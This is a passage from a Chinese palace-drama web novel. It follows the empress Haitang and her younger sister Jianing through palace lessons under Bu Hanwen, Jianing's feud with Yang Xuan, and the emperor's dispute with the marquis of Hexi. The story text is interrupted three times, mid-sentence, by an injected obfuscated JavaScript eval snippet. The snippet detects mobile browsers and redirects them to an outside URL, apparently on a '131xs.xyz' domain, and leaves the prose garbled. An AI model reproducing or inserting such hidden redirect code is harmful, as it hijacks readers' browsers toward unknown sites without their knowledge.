干什么总要妄自菲薄?难道你还配她不得?再说公主是十六岁又不是六岁,早晚要嫁人的,人家能当驸马,你就不能?我看保不齐是太后和陛下想拉拢你,才更要选你做驸马呢!” 卜瀚文无奈摇头:“你这张嘴,迟早害了我!驸马历来是闲差,你难道想用儿子一生前程,去换一个公主媳妇给你脸上添光吗?” 卜夫人慌忙噤声:“有这样严重吗?那我不说了,不说了。” 公主们的课业原本是每隔五日在讲书阁偏殿集中讲授一次,如今卜尚书要来授课,颐妃很快便知晓此事,她心里惦记着自己的妹妹杨萱,便向皇帝进言,想让妹妹也来宫中学习,正好给公主们作个伴儿。 皇帝自然没二话,三个是学,四个也是一样学,女孩儿在一起热闹热闹也好。 然后这话又传到海棠这里,她就不满意了:“也太偏心了点,宫里办个小书堂,连杨家的女儿都来了,就没一个人想到我家妹妹,颐妃有妹妹,难道我没有吗?” “做事不是这么做的,要么都别来,要来也不能厚此薄彼,这算怎么回事?变着法儿排挤我吗?” 其实她早就想见妹妹,一直找不到机会,正好逮到这件事:“既然杨家的女儿要来,那我家妹妹也要来!” 这下好,真正乱成一锅粥了。 * 相国府 兰君为嘉宁拣点衣物,仍不忘叮嘱:“老说你二姐姐不疼你,这回疼你了吧,你可记着到宫里去别再闯祸,要谨言慎行,爹爹上回说了,你要再给宇文家丢人,就把你丢到豫章郡去,让舅舅管教你。” “我看你确实应该去一去,不到那种苦地方喝喝西北风,你也是不长记性的。” 嘉宁抱着兰君的胳膊扭来扭去:“我本来脾气好得很,在家里也听话,上次要不是杨萱故意找茬,能闹起来吗?姐姐不向着我,还老向着她,你到底是谁的姐姐?” 兰君道:“我谁也不向着,我就希望你能懂点事,让爹爹和哥哥少操点心,这次你跟杨二姑娘冤家路窄,又要碰面了,你说怎么办?还要再打?还要再闹?宫里不比咱自己家里,你心里有个数。” 嘉宁扁起嘴:“我知道了,说了一千遍了,我耳朵都要起茧子了,真拿我当三岁小孩儿了?” 兰君点点她额头:“你以为你比三岁小孩儿好到哪里去,起码三岁小孩还服管。” 嘉宁赶紧岔开话:“不说这个了姐姐,中午我想吃烧鹅,煎得油油的脆脆的,再放点山楂。” 兰君立刻板起脸:“昨个才说肚子不舒服,又吃这么油腻的,不许吃,我叫厨房做点菜粥来。” 嘉宁差点要晕过去:“你这人怎么这样!” 她极为不满地跺起脚来:“你就知道管我,你敢管爹吗?敢管哥哥吗?二姐姐你都不敢管,她要吃你敢不让她吃吗?就知道欺负我这个最小的。” “哼,你不让我吃,我就到二姐姐那猛猛吃,我非要把肚子吃坏不可。” 兰君瞪她一眼:“你再废话连菜粥也没有了,回你屋去。” 8. 第八章 在家待到月初,嘉宁启程进宫。 海棠早早等着迎接妹妹,姐妹两个一见面,便扭成一团嘻笑起来。 长信宫偏安一隅,闲散如人间仙境,往榻上一靠,轻罗小扇一打,各种点心吃食就送到嘴边,柜子里尽是九连环叶子牌琉璃雕等玩具,书架上全是些不学无术的杂书,和海棠的混账气质十分相符。 嘉宁翘腿躺着,吃一颗葡萄,翻一页书,不由得感慨:“天底下没有比这更好的去处了。” 自然书也不是什么正经书,长信宫的藏书不是连环画册就是些神仙志怪痴男怨女的故事书。 这比四书五经女则女训有意思多了,叫人看了爱不释手。 嘉宁又吃了块甜糕,对海棠道:“二姐姐,你这里真是混日子的好地方,大姐姐还天天说你过得苦,可怜你过得不容易,分明是她杞人忧天嘛!” 说罢苦着脸:“我才是真的苦,被她日夜规训,非要把我培养成贤惠能干的名门淑女,咱家就没这个根,都是白搭。” 海棠坐一旁喝茶,捏捏她肉嘟嘟粉嫩嫩的小脸:“小可怜,大姐姐一片苦口婆心,我走了她没有发挥之处了,你就从了她吧!” 撇了撇茶叶,又道:“姑娘家已经够可怜的了,处处被规训,还是别太苛责自己了,有几天福享几天福吧,你也没那个脑子,大姐姐早晚会想明白的。” “别太担心,反正大家都是一样的半吊子水平,明日你去上课就知道了。” 嘉宁一下子坐起来:“对了,杨萱不是比我早一天来的嘛,她也要去吧?” 海棠点头:“颐妃正拉着她用功呢,大概不想她被比下去吧,听说卜大人要出个测验呢,看来明日你要垫底了。” “啊?”嘉宁大惊失色:“有测验你不早说,你赶紧透题给我,我可不想明天被杨萱嘲笑。” 海棠微笑:“我跟卜瀚文又不熟,我上哪弄题给你,你自己自求多福吧,不行你就装晕,我就说你自幼体弱,叫人把你抬回来。” “不行!”嘉宁拍桌子:“那杨萱还不得笑死我,出宫以后她肯定到处跟人传我闲言。” 海棠弯弯眼睛:“想开点,美女的人生总是多一些烦恼的。” 不过她也挺好奇的:“说起来你跟杨萱师出同门,到底为什么结怨的,我看你两个互相都看对方不顺眼,总有个缘由吧?” 嘉宁大倒苦水:“你不知道她这个人脑子真的有问题,问题太大了。” “最开始是在竹贤书院的时候,我们住在那里要分屋子,可是只有一间单人的屋子,别的屋都是两人合住,她也想住,我也想住,其他人当然也想但是又不敢争,我就提出抽签决定,谁抽到算谁的,结果我抽到以后,她又不承认了,非说我使诈,要重新抽一次。” “那就重新抽吧,结果又被另一个人抽到,她又不乐意了,就为一个分屋子的事把黄教习都吵来了,她非说先来后到的就应该给她,我就不想吵了那就说给她吧,结果她又觉得我是故意的,早不让晚不让偏在教习来的时候让,她觉得我装大度故意显得她刻薄。” “就这么就开始了,在竹贤书院两年,她老针对我,又喜欢告状,我确实自己也不用功,经常抄别人课业,默写有时候也打小抄,她天天盯着我,你说我能不烦吗?” “她盯着我我也盯着她,当时书院里不让女学生过于打扮,我就天天盯她有没有偷偷涂脂抹粉熏香料,我也去告状,这梁子不就这么结下来了吗?再后来姐姐你成了皇后,算是抢了她姐姐的位置,私仇变家仇,这梁子就更大了!” 海棠听了发笑:“这么说起来,最后还是怪我了,是我抢了她杨家的皇后之位,才让她记恨到现在,上回好像是听说你们在定国公府打架了吧?颐妃还来跟我请罪了。” 海棠摇头:“颐妃也是过于得体了,何至于呢?我还能为你们俩打架的事,在宫里也跟她掐一顿吗?” 嘉宁抬头看她:“二姐姐,你说,颐妃真的那么得宠吗?真的像他们说的那样,陛下和她两情相悦,所以一直冷漠于你。” 海棠笑了笑,对着茶盏吹了口气:“你觉得呢?” 嘉宁心急:“我不知道啊,所以我才担心你嘛,外面传得天花乱坠,说陛下和颐妃天作之合,伉俪情深,可是姐姐你才是正宫皇后啊,他们两个心心相印,把你放哪儿去了?” 海棠微笑:“不是把我好好的放在长信宫吗,好吃好喝,身体特别棒。” 她侧身靠在软枕上,看向远方,轩窗棱格内透出的阳光照她的脸上,鼻梁上。 睫羽落下剪影,珠帘清脆交响,宫殿偌大而华美,高墙无边而孤寂。 她的活力和生机支撑这里的一切。 所以她宁作燃烧的独木,也不做求存的朽木。 海棠搁下茶盏,淡淡一笑:“傻妹妹,你真相信皇宫之中会有两情相悦吗?有的只是权衡利弊罢了。” “不管我是霸道蛮横,还是温柔贤惠,太极殿和太安宫那两个人,都只会容忍到我带来的利益结束为止,不会因为我的委屈或是忍让而格外开恩的,所以不管我是端茶倒水还是摔杯砸碗,其实结果没差别,时间到了,自然一切就结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362168|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,那我何不让自己开心一点呢?” 嘉宁有些惘然,听不大懂她的意思:“可是帝后一体,夫妻与共,就是要一生一世的啊!” 海棠逗她玩,朝她皱皱鼻子:“一生很长,会有很多人的,这才哪到哪。” 嘉宁语气不安:“姐姐你说得太高深莫测了,我被你说得有点害怕了。” 海棠戏谑:“怕也没办法,谁叫你姓宇文呢,不过没关系,不是还有杨家陪着咱们吗,同是天涯沦落人,相亲相爱吧!” 嘉宁又问:“可是大家都说颐妃得宠,说你失宠,难道陛下不是真的喜欢她吗?” 海棠勾起嘴角:“得宠失宠都是旁人定论,宠爱算什么?喜欢又能值几个钱?嘴上的甜言蜜语,轻于鸿毛罢了,长信宫有我这个皇后,永乐宫还有个韩才人,也很美貌,时常伴驾,不逊色于颐妃。” “就算没有我,他们三个加起来也能算个三情相悦吧,两情相悦,你说少了。” 嘉宁愤愤不平:“我姐姐是天底下最好的人!那些女人算什么?就因为几句柔情蜜语,陛下就沉溺温柔乡,弃中宫于不顾,真是太没眼光了!” 说着又把小脸皱起来:“但是颐妃也挺可怜的,陛下喜欢着她又不耽误喜欢着别人,她肯定很伤心。” 海棠道:“伤心也没办法,自古后宫就是如此,她现在一心为她杨家,什么委屈都能受,祝她心想事成吧!” 嘉宁看向海棠:“唉,陛下这么多宠妃,真是受气!” 她很不忿:“要是以后我的夫君朝三幕四,我肯定打断他的腿!” 海棠深表赞同:“要是你的夫君敢朝三暮四,你不打断他的腿,我也会打断他的腿!” 嘉宁又道:“姐姐,你真是一点都不吃醋啊,你是不是心里喜欢着别人啊?” 海棠都不知道用什么表情来笑了:“又在胡思乱想了。” 轻扣桌子,望向窗外:“不过世事难料,以后的事谁知道呢!” 往日嘉宁在家中都被当小孩儿,只有被训诫和教导的份。 难得如此谈心,嘉宁今天格外话多:“那如果是你真心喜欢的人,你也能容忍他喜欢别人吗?如果他背叛你,你也像现在这样无所谓吗?姐姐,我好像明白你了,无所谓的是人,不是事。” 海棠捏了捏她的下巴:“你说这么多,嘴不干吗?” “妹妹,你要记住,如果喜欢你的同时,又喜欢别人,那就不是真心,是装来骗你的。” “如果背叛你一次,那就还有第二次,永远不要给同一个人两次机会。” 9. 第九章 翌日一早,嘉宁按时来到讲书阁。 杨萱比她来得还要早些,已在第一排坐着了。 嘉宁进了门,二人对视一眼,互相甩个脸。 嘉宁在第二排坐下,没一会,福真、福安、福康三位公主一同过来。 嘉宁和杨萱起身请安,公主们颔首还笑。 虽然嘉宁和杨萱是臣子之女,但身为皇后和颐妃的妹妹,就算是公主,表面也得客气一番。 毕竟公主们不是章太后亲生,都是前朝妃妾所出,如今在宫里全仰仗太后慈恩和陛下关怀,怎敢对嫂子的娘家人摆谱。 尤其颐妃,众人皆知她的风头盖过皇后,公主们对杨萱也是格外亲厚关怀。 福真公主特意坐在杨萱旁边的位置:“我才疏学浅,如今一同学习,还要多向杨姐姐请教呢!” 杨萱受宠若惊:“公主哪里话,臣女岂敢指导您。” 她们一派姐妹情深的和乐氛围,嘉宁刚坐下就想走了。 她感觉无趣,一手提着毛笔,撑头看向窗外。 今日天气回暖,煦日高照,一张白嫩的小脸热得有些发粉。 不同于兰君的文雅气质,不同于海棠的明艳动人,她长着一张比鹅蛋脸再圆润那么一点的脸型,水亮亮的眼睛像刚洗过的鲜嫩紫葡萄。 两颊透着粉色,乌黑浓密的头发梳成简单的圆髻,戴一只烧蓝色扑扇振翅的蝶翼发簪。 全身上下都散发着女孩儿的香甜、灵动,让人感慨青春年少的美好。 嘉宁正抿着嘴思考人生,就看到卜瀚文从门外进来,和她打个照面。 她赶紧坐好,然后又看到一身盘龙常服的皇帝竟然也踱着步子进来了,身边跟着颐妃。 后面没多远,她姐姐竟然也带着一帮人,浩浩荡荡地过来了。 老天爷,这小小的讲书阁,今天这么热闹吗? 众人起身请陛下万安,嘉宁把头埋得低低的,希望最好谁都别注意到她。 趁着请安,她偷偷打量了颐妃两眼,这就是杨萱的姐姐,那位大名鼎鼎的颐妃娘娘? 她心中腹诽,还以为是什么九天仙女呢,并不如她姐姐嘛! 这个皇帝姐夫也是个笨蛋,放着她姐姐那样的大美人不喜欢,偏喜欢杨萱的姐姐。 众人请安过后,皇帝坐下道:“都是自家妹妹,随意些,不必多礼。” 海棠和颐妃一左一右分别坐在皇帝两侧,显然颐妃与皇帝更亲近,巧笑倩兮,眉目含情。 皇帝对卜瀚文道:“朕这几个妹妹资质平平,寻常也不大用功,瀚文你就多教导教导吧。” 这话当然是谦虚,卜瀚文忙道:“臣虽才浅,此番得太后娘娘恩旨,有幸为公主与小姐们授课,定当竭尽全力。” 颐妃笑道:“卜大人满腹经纶,连你都要说才浅,那我们竟不知该去何处了。” 她笑着看向皇帝,一手轻轻搭上皇帝的手臂:“但愿我家妹妹不要丢人就好了。” 皇帝揶揄道:“杨家的女儿都聪慧,你怎知萱儿就丢人了,兴许她还强过你呢!” 颐妃语气嗔怪:“那看来陛下是嫌臣妾愚笨了。” 杨萱看到姐姐与皇帝如此恩爱,心里十分得意,不免挑衅般地看向嘉宁。 嘉宁此刻在埋头装死,没注意到她,只偷偷抬一只眼睛看了看海棠。 海棠正用手指撑着额头,露出意味不明的笑容。 嘉宁默泪,姐姐啊,你这平时过得都是什么日子,你是真的不容易。 “行了,都别谦虚了,卜大人,你就在她们能看懂的范围内指点指点就行了,”海棠开口,“又不用考状元,学个大概就差不多了。” 皇帝对她这散漫的态度不满:“态度不端,做事岂能成功?宇文氏的家教该改改了,根歪,树怎么正?” “那陛下觉得谁正?”海棠斜眼看他:“谁家的根歪?谁家的根正?” 皇帝掷地有声:“显而易见。” 海棠冷笑:“我宇文氏家风清白,门庭正派,几代长辈从无妾婢,家中子女尽是嫡出,依臣妾看,正得不能再正了。” 颐妃之父宣平侯妻妾侍婢众多,尤其喜爱年轻女子,家中庶出子女二十有余,风流名声人尽皆知,这话说得颐妃面上无光。 皇帝袒护颐妃:“即便树正,结得尽是酸涩的果子,也无用,即便子弟都是嫡出,若是无能,更是无用。” 海棠轻笑,又补一刀:“不管是酸果子还是甜果子,有果子总比没果子强。” 宫中至今无子,皇帝也被她大刀阔斧无差别攻击了,一时气结语塞。 颐妃侍寝后一直不曾有孕,所以之前太后才将韩才人选入后宫。 但是皇帝觉得自己娶妻并不久,本是无妨之事,被她这样嘲讽,倒显得是个问题了。 眼瞅着架势越来越不妙,卜瀚文赶紧出来打圆场:“陛下与二位娘娘牵挂姊妹,今日特来探访,臣深感荣幸,只是今日本是场小小测验,并无太多课业,臣先前已将纸册发下去了,还请公主们和二位小姐按照题本所写,默写一篇《青山赋》,臣也要先看看各位的水平,才好因材施教,对症下药。” 皇后刁钻刻薄一如往常,卜瀚文不敢再留任何空隙让海棠开口,原本默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362169|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写是放在最后,现在只能提到前面来了。 屋内总算安静下来,纸笔声音簌簌。 只是皇帝脸色仍然可怕。 嘉宁咬着笔头,抓耳挠腮。 卜瀚文让她们默写的《青山赋》,是一篇纵情山水向往自由的豪情辞赋,全篇有一万多字。 虽然降低了难度,只让写出前三段,大约两千字的内容。 但就这两千字,嘉宁也是憋不出来的。 一炷香过去,她只寥寥写了几行,还写得磕磕绊绊。 没用的东西,海棠翻了一个大白眼,忍不住嫌弃:“《青山赋》是你师父黄真写的你都默不出来,你师父教你也是白教了,趁早回家吧!” 嘉宁汗颜,倍感丢人,杨萱在旁边扑哧笑出来。 海棠往她卷纸上看了两眼:“你也别笑了,你这都写串行了你还笑她,你师父有你们两个得意门生这辈子也是完了。” 杨萱:“…” 赶紧低下头看哪里写串了。 嘉宁苦着脸:“我又不知道要默这篇,我又没提前看,写不出来也不能怪我啊!” 卜瀚文看向嘉宁,真不愧一家姐妹,说话的表情如出一辙,打架的彪悍也如出一辙。 皇后那样的,连陛下都招架不住。 不过皇后从面相上就气势汹汹,不难看出。 世上美人分很多种,像颐妃那样的,如水一般,缓和圆柔,而皇后那样的,过于艳丽,过于强势。 这位三小姐却长着一副人畜无害的样子,想到母亲上回说她和杨萱在徐家大打出手。 卜瀚文轻轻摇头,无法想象。 嘉宁仍咬着嘴唇,甚感委屈:“手都累得抬不起来了,姐姐还要骂我。” 海棠拿她没办法:“我哪舍得骂你,拿你当心肝还来不及。” 皇帝侧目看过来,想不出有一天她的嘴里竟然能甜腻腻喊出心肝两个字,寒碜得他冷汗都出来了。 他喝了口茶,神色渐渐趋于平静。 宇文海棠,偶尔也让人看不懂。 她奢靡无度,言语悖逆,她品行不端,行径张狂。 他从来不愿就用正眼看她。 她说她不怎么识字,可她还知道黄真写的《青山赋》,这篇赋晦涩且很长,所以不是什么广为流传的知名辞赋。 黄真的弟子都能记串,她却能分清,说明应该全文熟背过。 或许她并没有她表现出来的那么蠢笨愚昧,但是她偏偏格外喜欢那副无知又无能的样子。 这个女人,难评,难懂。 不过他也不想懂这个奇葩。 10. 第十章 回到长信宫,嘉宁闷闷不乐:“姐姐我不想再去上课了,没意思。” “我本来就不喜欢念书,现在还要到宫里念书,我又比不过人家,这个卜大人还喜欢考试,我最讨厌考试了!” 海棠道:“又没让你考第一,你去混混时间还不行吗,你以为我真让你来念书的?” 嘉宁说:“那我万一回回垫底,你不嫌丢脸啊?” 海棠道:“你放心,我本来就没脸,不怕丢。” “我桀骜悖逆,我的妹妹不学无术,旁人只会觉得上梁不正下梁歪,是我的问题,不是你的问题。” 嘉宁长叹一口气,趴在桌上:“可是杨萱跟我半斤八两,她倒是积极得很,没见过她这么爱表现。” 说罢又来一句:“我讨厌卜瀚文。” “这种书生,看着好脾气,最是阴险,要不是因为他,姐姐你怎么会嫁进宫里,一想到他我就气不打一处来。” “这种人只为自己利益考虑,才不管别人死活,还装一副正人君子的样子。” 嘉宁翻身坐起来:“你看他今天那一派端方一脸正直的样子,哪能想到实则是个狗腿子,这种人我跟你说,他就算当个教书先生我都觉得他会收人家贿赂的。” 海棠被她逗笑了:“人性如此,大家都一样,你别打着灯笼找菩萨了,他跟你也没什么过节,操心他干嘛?” “少说话,养养神,晚上给你炖肘子吃。” “好啊好啊,加点冰糖,做冰糖肘子!” * 过了几日,又是讲书阁授课的日子。 卜瀚文讲得认真,嘉宁听课却不认真,她心思不在课堂上,一会看看窗外,一会看看别人。 不得不说卜瀚文还是有点真才实学的,至少比方典正那老头子讲得引人入胜。 福真公主和杨萱两个人听得十分认真,嘉宁歪着头,看向杨萱。 一向傲娇如孔雀的杨萱此时竟也露出些小女儿的羞涩情怀,两颊飞粉,时而低头,时而注目。 怪事了,嘉宁腹诽,这死丫头不会是看上卜瀚文了吧? 就说她成天擦脂抹粉的又不是个读书的料,怎么女大十八变还突然喜欢念书了,原来惦记的是人不是书。 但是嘉宁还是有点不可置信,宣平侯府世袭爵位,杨萱眼高于顶,卜瀚文翰林出身,毫无根基背景,家底也没多厚,她能看上卜瀚文? 以杨萱的性格,不是王公贵族哪能入她眼? 这位卜瀚文,卜大人…嘉宁不免偷偷打量起来。 长得嘛,确实还行,言谈举止嘛,也算得上温文尔雅,谦逊柔和吧。 但这只是表象,他如果真是表里如一的人,又怎么会身陷那么多谄媚惑主的奸臣传言? 嘉宁此刻眼尖地发现杨萱的手在书桌下方搅着自己的衣角。 杨萱每次紧张的时候都有这种小动作,从前在书院时就是这样。 不是,她真看上卜瀚文了? 嘉宁老是眼神游移,一会看看杨萱,一会看看卜瀚文,这漠视课堂规矩的表现早让卜瀚文不满。 终于在嘉宁又一次转头看向杨萱的时候,卜瀚文忍不住把她叫起来:“宇文小姐,课堂是严肃之地,你为何总是分心?” “杨小姐的脸比书更好看是吗?你这么喜欢看就坐到她旁边去。” 嘉宁讪讪,心里又给卜瀚文记上一笔。 得意什么,还真把自己当师父了。 她的师父只有黄真一人,轮不到别人来教训! 杨萱红着脸,显然就只听见那一句。 杨小姐的脸比书更好看是吗? 卜大人…卜大人这是在夸她好看吗? 原来他心里觉得她是好看的。 杨萱低下头,脸快埋到桌子上,这一趟总算没有白来。 等到下课,众人收拾物品准备离开,杨萱慢条斯理地整理纸笔,颇为得意对嘉宁道:“你上课不好好听讲,老盯着我看干什么?你瞧,被卜大人骂了吧!” “我知道你向来妒忌我,排挤我,但是与其盯着别人,不如把精力放在自己身上,你说对不对?” 嘉宁笑了:“我看你是因为你总在看卜大人呀,我觉得奇怪,所以才看你的。” 福真公主身子一怔,看了过来,表情有些复杂。 “你胡说什么!”杨萱脸色大变,面露难堪:“我什么时候总看卜大人了,而且上课我不看先生看谁,你以为谁都跟你一样心不在焉的?” 说罢就猛地推开门跑出去,又气又臊的竟哭了出来。 福真公主转头吩咐宫女:“派几个人护送杨小姐回延庆宫,园子里湖多树多,小心她这样跑出去伤着了。” 三位公主收拾东西离开,嘉宁觉得自己嘴也是太快了。 每次被杨萱一激,她就忍不住要回击。 谁知道今天就说了这么一句,杨萱就大受刺激。 她站在书桌边发呆,心里也是五味杂陈,默默收拾自己的书本。 此时卜瀚文从暖阁里走出来,眼神冷峻,有些审视之意:“你为何要胡乱说话,攻击他人?” “名节是女子大事,清誉更是为官本分,你编造模棱两可的谣言,究竟居心何在?” “就算你们从前有过节,你也不能以如此卑劣方式伤害她,报复她,还是说,是长信宫教你这样做的?” 他一改课堂上的亲和姿态,露出咄咄逼人的姿态。 嘉宁抬起头,冷笑出来:“卜大人这是在指责我?不过几句争执之言而已,和我姐姐有什么关系?你想得太多了。” “再说了,你怎么就知道我说的不是实话呢?” “你能看到我在看她,应该也能看到她在看你吧,你为什么不敢承认,为什么避之不及?” “最怕惹上麻烦的应该是你吧,卜大人,别教训我了,先担心担心你自己吧!” 嘉宁觉得就算自己有错,卜瀚文此人也绝不是什么好鸟,因此更加刻薄:“卜大人,你对我气势汹汹,对杨萱就和蔼可亲,你是故意袒护她的吧?看来我说得没错啊!” 卜瀚文冷脸:“宇文小姐,请注意你的言行!不要随意攀诬他人!” 嘉宁梗着脖子瞪他:“你管得着吗?你以为你是谁啊?我姐姐还没教训我呢,轮得上你摆先生的臭架子教训我?” “我告诉你,我见你第一面就讨厌你,要不是因为你进献谗言,我姐姐就不会进宫做皇后,我家和杨家也不会因此结怨,所以这一切的源头都是因为你这个搅屎棍,这笔账我还没跟你算呢!” 卜瀚文此刻挑了挑眉头,露出些许笑意,颇有嘲讽味道:“原来宇文小姐是因为这件事一直记恨着我?你凭什么觉得是因为我,你姐姐才会成为皇后。” “我一个小小文官,能有这么大的本事吗?立后是国朝大事,以我一人之力,怎么可能随意决定?” “狡辩!”嘉宁白他一眼:“你以为这样说我会相信你吗?” “随便你相不相信,”卜瀚文摇头而笑:“稚女年少,愚钝可笑!” 嘉宁大怒:“你说什么!” 卜瀚文面露讥讽:“说你愚钝还不承认,除了会跟姐姐告状,你还会做什么?” 另一边,杨萱一路哭着跑回延庆宫:“姐姐!宇文嘉宁欺负我!你要帮我报仇!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362170|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 颐妃见状大惊,忙站起来:“这是怎么了?” 杨萱扑到姐姐身边,哭诉起来:“宇文嘉宁这个贱人,仗着她是皇后的妹妹,几次三番欺负我,今日更是当众让我难堪,污蔑我在课堂上偷看卜大人,毁我名誉,害我丢脸,姐姐,我讨厌她!我讨厌她!” 颐妃一时语塞,而后道:“她若真的污蔑你的清誉,此事我定会与皇后娘娘交涉,让她给你个交代。” 杨萱咬牙切齿:“皇后跋扈,自然袒护她的妹妹,她怎么会秉公处理?姐姐应当禀报陛下和太后娘娘,让他们狠狠惩处宇文嘉宁!” 颐妃道不妥:“如此小事,怎能闹到陛下面前?就算皇后跋扈,难道我就怕她了?快把眼泪擦擦,眼睛都哭红了,你放心,姐姐不会让你白受人欺负的。” 颐妃仍是不解:“可是她说你与卜瀚文又是怎么回事?她为何凭白无故要攀扯你和卜大人?” 杨萱低下头:“她就是存心害我在卜大人面前丢脸,我还不知道她吗?” 颐妃看一眼妹妹,怎能不知她神情扭捏的小女儿心态,忍不住提醒:“卜瀚文此人,心思太重,并非良配,你还是与他少接触为好。” 杨萱不满:“你跟他又不熟,为什么张口就断定他不好?” 颐妃道:“很多时候不需要了解这个人,只需要看看他做过的事,就能判定这个人的品行和为人了,姐姐是过来人,不想看你走错路,你放心,此事我早就为你考虑好了,姐姐一定给你挑一个终身可靠的好夫婿。” 杨萱扁起嘴,还是不大乐意:“我觉得卜大人看起来挺好的,什么对路错路,年纪轻轻的计较这些,还有日子过吗?难道姐姐你走的就是对路吗,嫁给陛下就是你认为的对路吗?” 颐妃对这冥顽不灵的妹妹很是包容:“正是因为姐姐也走过错路,才不希望你也走错,将来后悔。” “这世道,女子所图的,不过是得遇良人,能够花好月圆人长久。” “但是覆水难收,后悔无药,你还年轻,前途光明,把眼光放长远些,别为眼前的甜头迷失了。” 颐妃其实已有看中的人选,虽然杨萱兴致缺缺,但她还是借机提起:“其实有一个人,值得看看。” “江东侯王璟,这个人你觉得如何?” “谁?王璟?”杨萱对这个名字并不熟悉。 颐妃点头:“陛下马上要召河西侯、江东侯和陇南侯入京叙职,如今河西兵权久不归还,陛下心里着急。” “河西毗邻边境,动乱颇多,不是好地方,河西侯靳桓此人,虽然未婚,又位高权重,继承侯爵之位,还被加封大司马,但为人轻狂,野心勃勃,将来与朝廷必有大冲突,不是良配。” “陇南表面臣服,削兵还权,实则陇南侯吕兴此人最是墙头草,不可轻信,并且他虽无正妻,却有两房实实在在记入族谱的妾室,其中一位更是给他生下长子,吕家门庭混乱,家风不正,比靳家还不如。” “而江东丰饶富丽,鱼米之乡,王璟诚恳本分,顺从朝廷,陛下对他并无敌意,若想平安顺遂,一生无忧,还是江东最合适。” 颐妃苦口婆心的为妹妹将来做打算,朝局复杂,杨萱并不太能听懂,只知道姐姐绝不会害她。 但还是很犹豫:“那个王璟,他很好吗?与卜大人相比呢?” 颐妃拍拍她的肩,莞尔道:“这个你不用担心,姐姐可以给你担保,他的人品、学识、相貌都不逊色于卜瀚文。” “长姐如母,姐姐走到今天这个位置,就是希望让你,让我们杨家从此不再仰人鼻息,相信姐姐,江东是个好地方,是一个能让你过一辈子好日子的地方。” 11. 第十一章 不久后便是立夏时节,皇帝传召河西、陇南、江东三位侯爵入京叙职。 陇南路途最远,河西侯靳桓却是最后一个进京的,比其他两位侯爷晚了足足四日。 皇帝对其早有不满,面上却不显露,仍带笑意,唤其表字延舟,以示亲近。 “河西是关卡重地,人多事繁。” “迟个几日,也是情有所原,只是延舟啊,若是自己扛不住的时候,也别硬来,上面还有朝廷,还有朕呢,河西是我大周国土,你是我大周的忠臣良将,朕看重河西,更看重你。” 皇帝其实早已忍耐不住磨刀霍霍,但仍作出一副明君贤臣之态:“之前削兵,朝廷给你河西分发下去遣散兵士的银钱和粮食,可比别的地方多了数倍,今日陇南侯和江东侯也在,倒不怕他们听了不快活,之前朕忙于政务未曾多问,只是前几日看了地方传上来的奏折,仿佛河西的削兵之策,推进的不大顺利啊?” 陇南吕侯最是两面派,此刻巴不得看河西的笑话,看他靳侯面对皇帝责难,要如何应对:“河西军事重地,粮草银钱领取多些,我们臣下都能理解,只是各地都已陆续完成削兵减负,怎么河西一直不见动静,若是同样的旨意,同样的政策,却执行不一,那叫我们这些先做的,倒不知道怎么好了,江东侯,你说是吧?” 王璟到底年轻些,又是文人,不大应付得来这种场面:“那是自然,各地诸侯,都是听从朝廷安排。” “说得好!”皇帝朗声道:“诸侯之上,便是朝廷。” “河西之事,拖下去不是办法,靳侯你若自己解决不了,朝廷必会出面帮你解决,不必担心。” 靳桓只是理了理衣褶,皮笑肉不笑:“陛下厚爱,削兵是圣旨上策,臣万分拜服,只是臣数次拖延,并非是臣不愿意,而是河西地处偏远,毗邻外族,若遣散屯兵,只怕河西百姓将惶惶不可终日,倘若夷狄来袭,天高路远朝廷难以支援,恐难守卫城池啊!” “削兵事小,保家卫国事大!若是沦陷城池于外族,那臣与陛下,就要成为大周的千古罪人了!” 他倒是理由充分,皇帝被他堵了一道,一时无言以对,但也不会那么轻易放过他:“哦?如此说来,这倒是桩难事了?看来要请枢密院众臣共商此事,得研究出个法子才是啊!” 靳桓不慌不忙:“那就请陛下,给臣一个法子。” * 太安宫中,章太后忙于斋戒茹素,仍然不忘提醒:“去,将这《心经》拿去长信宫,告诉皇后,哀家礼佛,为后宫祈福,她身为后宫之主,也得聊表诚心,这册经书,请她手抄百遍,再拿来供奉。” “心诚则灵,告诉她不要偷懒。” 章太后是信佛的,每逢初一十五,便在衍光殿礼佛供奉,每月有十日茹素,宫中常做法事。 在她还是个小小御女的时候,曾向佛祖祈求过。 祈求一份大好前程,祈求一条光明坦途。 章太后平民出身,以宫女身份采选入宫,先后侍奉过先帝的李才人和王昭仪。 在王昭仪有孕时,她被先帝看中,侍寝而选入后宫,但之后便被抛在西宫,冷落数久。 当时的宠妃李才人、王昭仪、林德妃先后产女,宫中一连出生了好几个公主,先帝长吁短叹,失望连连。 